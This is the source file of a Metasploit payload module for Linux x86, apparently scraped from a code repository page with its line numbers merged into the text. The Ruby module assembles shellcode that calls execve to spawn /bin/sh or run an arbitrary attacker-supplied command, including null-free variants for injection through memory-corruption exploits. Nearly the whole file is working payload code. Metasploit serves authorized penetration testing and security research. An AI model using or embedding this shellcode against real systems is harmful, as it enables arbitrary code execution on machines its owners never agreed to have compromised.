Path: blob/master/modules/payloads/singles/linux/x86/exec.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Exec8# ----9#10# Executes an arbitrary command.11#12###13module MetasploitModule14CachedSize = 431516include Msf::Payload::Single17include Msf::Payload::Linux::X86::Prepends1819def initialize(info = {})20super(21merge_info(22info,23'Name' => 'Linux Execute Command',24'Description' => 'Execute an arbitrary command or just a /bin/sh shell',25'Author' => [26'vlad902',27'Geyslan G. Bem <geyslan[at]gmail.com>'28],29'License' => MSF_LICENSE,30'References' => [31['URL', 'https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm'],32['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm']33],34'Platform' => 'linux',35'Arch' => ARCH_X8636)37)3839# Register exec options40register_options(41[42OptString.new('CMD', [ false, 'The command string to execute' ]),43]44)45register_advanced_options(46[47OptBool.new('NullFreeVersion', [ true, 'Null-free shellcode version', false ])48]49)50end5152def generate(_opts = {})53cmd = datastore['CMD'] || ''54nullfreeversion = datastore['NullFreeVersion']55if cmd.empty?56#57# Builds the exec payload which executes a /bin/sh shell.58# execve("/bin/sh", NULL, NULL)59#60if nullfreeversion61# 21 bytes (null-free)62payload = <<-EOS63xor ecx, ecx ; ecx = NULL64mul ecx ; eax and edx = NULL65mov al, 0xb ; execve syscall66push ecx ; string '\0'67push 0x68732f2f ; "//sh"68push 0x6e69622f ; "/bin"69mov ebx, esp ; pointer to "/bin//sh\0" cmd70int 0x80 ; bingo71EOS72else73# 20 bytes (not null-free)74payload = <<-EOS75xor ecx, ecx ; ecx = NULL76mul ecx ; eax and edx = NULL77mov al, 0xb ; execve syscall78push 0x0068732f ; "/sh\0"79push 0x6e69622f ; "/bin"80mov ebx, esp ; pointer to "/bin/sh\0" cmd81int 0x80 ; bingo82EOS83end84else85#86# Dynamically builds the exec payload based on the user's options.87# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)88#89pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)90if nullfreeversion91if cmd.length > 0xffff92raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller93end9495if cmd.length <= 0xff # 25596breg = 'bl'97else98breg = 'bx'99if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes100cmd += ' '101end102end103mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"104# 47/49 bytes without cmd (null-free)105payload = <<-EOS106xor ebx, ebx107mul ebx108mov al, 0xb109push edx110#{pushw_c_opt} ; "-c"111mov edi, esp112jmp tocall ; jmp/call/pop cmd address113afterjmp:114pop esi ; pop cmd address into esi115#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length116mov [esi+ebx], dl ; NUL '\0' terminate cmd117push edx118push 0x68732f2f ; "//sh"119push 0x6e69622f ; "/bin"120mov ebx, esp121push edx122push esi123push edi124push ebx125mov ecx, esp126int 0x80127tocall:128call afterjmp ; call/pop cmd address129db "#{cmd}"130EOS131else132# 36 bytes without cmd (not null-free)133payload = <<-EOS134push 0xb135pop eax136cdq137push edx138#{pushw_c_opt} ; "-c"139mov edi, esp140push 0x0068732f ; "/sh\0"141push 0x6e69622f ; "/bin"142mov ebx, esp143push edx144call continue145db "#{cmd}", 0x00146continue:147push edi148push ebx149mov ecx, esp150int 0x80151EOS152end153end154Metasm::Shellcode.assemble(Metasm::Ia32.new, payload).encode_string155end156end157158159